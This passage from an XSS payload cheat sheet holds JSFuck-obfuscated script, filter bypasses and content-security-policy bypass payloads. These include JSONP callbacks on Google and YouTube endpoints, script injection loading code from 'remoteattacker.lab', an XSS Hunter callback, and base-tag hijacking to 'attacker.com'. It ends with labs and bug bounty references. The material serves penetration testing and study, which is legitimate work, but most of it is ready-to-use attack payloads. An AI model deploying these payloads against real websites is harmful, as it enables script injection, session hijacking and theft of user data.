![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> ``` ### Bypass using jsfuck Bypass using [jsfuck](http://www.jsfuck.com/) ```javascript [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() ``` ## CSP Bypass Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://websecblog.com/vulns/google-csp-evaluator/) ### Bypass CSP using JSONP **Requirements**: * CSP: `script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';` **Payload**: Use a callback function from a whitelisted source listed in the CSP. * Google Search: `//google.com/complete/search?client=chrome&jsonp=alert(1);` * Google Account: `https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)` * Google Translate: `https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();` * Youtube: `https://www.youtube.com/oembed?callback=alert;` * [Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt) * [JSONBee/jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) ```js <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" ``` ### Bypass CSP default-src **Requirements**: * CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, **Payload**: `http://example.lab/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//remoteattacker.lab/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;` ```js script=document.createElement('script'); script.src='//remoteattacker.lab/csp.js'; window.frames[0].document.head.appendChild(script); ``` Source: [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa) ### Bypass CSP inline eval **Requirements**: * CSP `inline` or `eval` **Payload**: ```js d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000) ``` Source: [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f) ### Bypass CSP script-src self **Requirements**: * CSP like `script-src self` **Payload**: ```js <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ``` Source: [@akita_zen](https://twitter.com/akita_zen) ### Bypass CSP script-src data **Requirements**: * CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src). **Payload**: ```javascript <script src="data:,alert(1)">/</script> ``` Source: [@404death](https://twitter.com/404death/status/1191222237782659072) ### Bypass CSP unsafe-inline **Requirements**: * CSP: `script-src https://google.com 'unsafe-inline';` **Payload**: ```javascript "/><script>alert(1);</script> ``` ### Bypass CSP nonce **Requirements**: * CSP like `script-src 'nonce-RANDOM_NONCE'` * Imported JS file with a relative link: `<script src='/PATH.js'></script>` **Payload**: 1. Inject a base tag. ```html <base href=http://www.attacker.com> ``` 2. Host your custom js file at the same path that one of the website's script. ``` http://www.attacker.com/PATH.js ``` ### Bypass CSP header sent by PHP **Requirements**: * CSP sent by PHP `header()` function **Payload**: In default `php:apache` image configuration, PHP cannot modify headers when the response's data has already been written. This event occurs when a warning is raised by PHP engine. Here are several ways to generate a warning: - 1000 $_GET parameters - 1000 $_POST parameters - 20 $_FILES If the **Warning** are configured to be displayed you should get these: * **Warning**: `PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0` * **Warning**: `Cannot modify header information - headers already sent in /var/www/html/index.php on line 2` ```ps1 GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a&a&a&a ``` Source: [@pilvar222](https://twitter.com/pilvar222/status/1784618120902005070) ## Labs * [PortSwigger Labs for XSS](https://portswigger.net/web-security/all-labs#cross-site-scripting) ## References - [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot) - tbm - [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html) - [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/) - [RPO Gadget - innerthmtl](https://web.archive.org/web/20220521125028/https://blog.innerht.ml/rpo-gadgets/) - [Relative Path Overwrite - Detectify](https://support.detectify.com/support/solutions/articles/48001048955-relative-path-overwrite) - [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass) - [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html) - [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html) - [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://www.buaq.net/go-25883.html) - [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309) - [D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs](https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf) - [Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by Patrik Fehrenbach - [RPO that lead to information leakage in Google](https://web.archive.org/web/20220521125028/https://blog.innerht.ml/rpo-gadgets/) by filedescriptor - [God-like XSS, Log-in, Log-out, Log-in](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) in Uber by Jack Whitton - [Three Stored XSS in Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager - [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen - [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton - [Stored XSS in *.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton - [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes - [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek - [Command Injection in Google Console](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) by Venkat S - [Facebook's Moves - OAuth XSS](http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html) by PAULOS YIBELO - [Stored XSS on developer.uber.com via admin account compromise in Uber](https://hackerone.com/reports/152067) by James Kettle (albinowax) - [Yahoo Mail stored XSS](https://klikki.fi/adv/yahoo.html) by Klikki Oy - [Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)](http://mksben.l0.cm/2016/07/xxn-caret.html) by Masato Kinugawa - [Youtube XSS](https://labs.detectify.com/2015/06/06/google-xss-turkey/) by fransrosen - [Best Google XSS again](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter) - by Krzysztof Kotowicz - [IE & Edge URL parsing Problem](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/) - by detectify - [Google XSS subdomain Clickjacking](http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html) - [Microsoft XSS and Twitter XSS](https://wesecureapp.com/blog/xss-by-tossing-cookies/) - [Flash XSS mega nz](https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/) - by frans - [xss in google IE, Host Header Reflection](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [Years ago Google xss](http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf) - [xss in google by IE weird behavior](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [xss in Yahoo Fantasy Sport](https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/) - [xss in Yahoo Mail Again, worth $10000](https://klikki.fi/adv/yahoo2.html) by Klikki Oy - [Sleeping XSS in Google](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by securityguard - [Decoding a .htpasswd to earn a payload of money](https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/) by securityguard - [Google Account Takeover](http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form) - [AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2](http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/) by geekboy - [Uber Self XSS to Global XSS](https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html) - [How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g) by Marin MoulinierFollow - [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) by Brett - [XSSI, Client Side Brute Force](http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html) - [postMessage XSS on a million sites - December 15, 2016 - Mathias Karlsson](https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/) - [postMessage XSS Bypass](https://hackerone.com/reports/231053) - [XSS in Uber via Cookie](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) by zhchbin - [Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP](https://hackerone.com/reports/207042) by frans - [XSS due to improper regex in third party js Uber 7k XSS](http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/) - [XSS in TinyMCE 2.4.0](https://hackerone.com/reports/262230) by Jelmer de Hen - [Pass uncoded URL in IE11 to cause XSS](https://hackerone.com/reports/150179) - [Twitter XSS by stopping redirection and javascript scheme](http://blog.blackfan.ru/2017/09/devtwittercom-xss.html) by Sergey Bobrov - [Auth DOM Uber XSS](http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html) - [XSS in www.yahoo.com](https://www.youtube.com/watch?v=d9UEVv3cJ0Q&feature=youtu.be) - [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html) - [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd) - [XSS cheat sheet - PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf) - [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056) - [Bypass < with ＜](https://hackerone.com/reports/639684) - [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code) - [Secret Web Hacking Knowledge: CTF Authors Hate These Simple Tricks - Philippe Dourassov - 13 may 2024](https://youtu.be/Sm4G6cAHjWM) - [Encoding Differentials: Why Charset Matters - Stefan Schiller - July 15, 2024](https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/)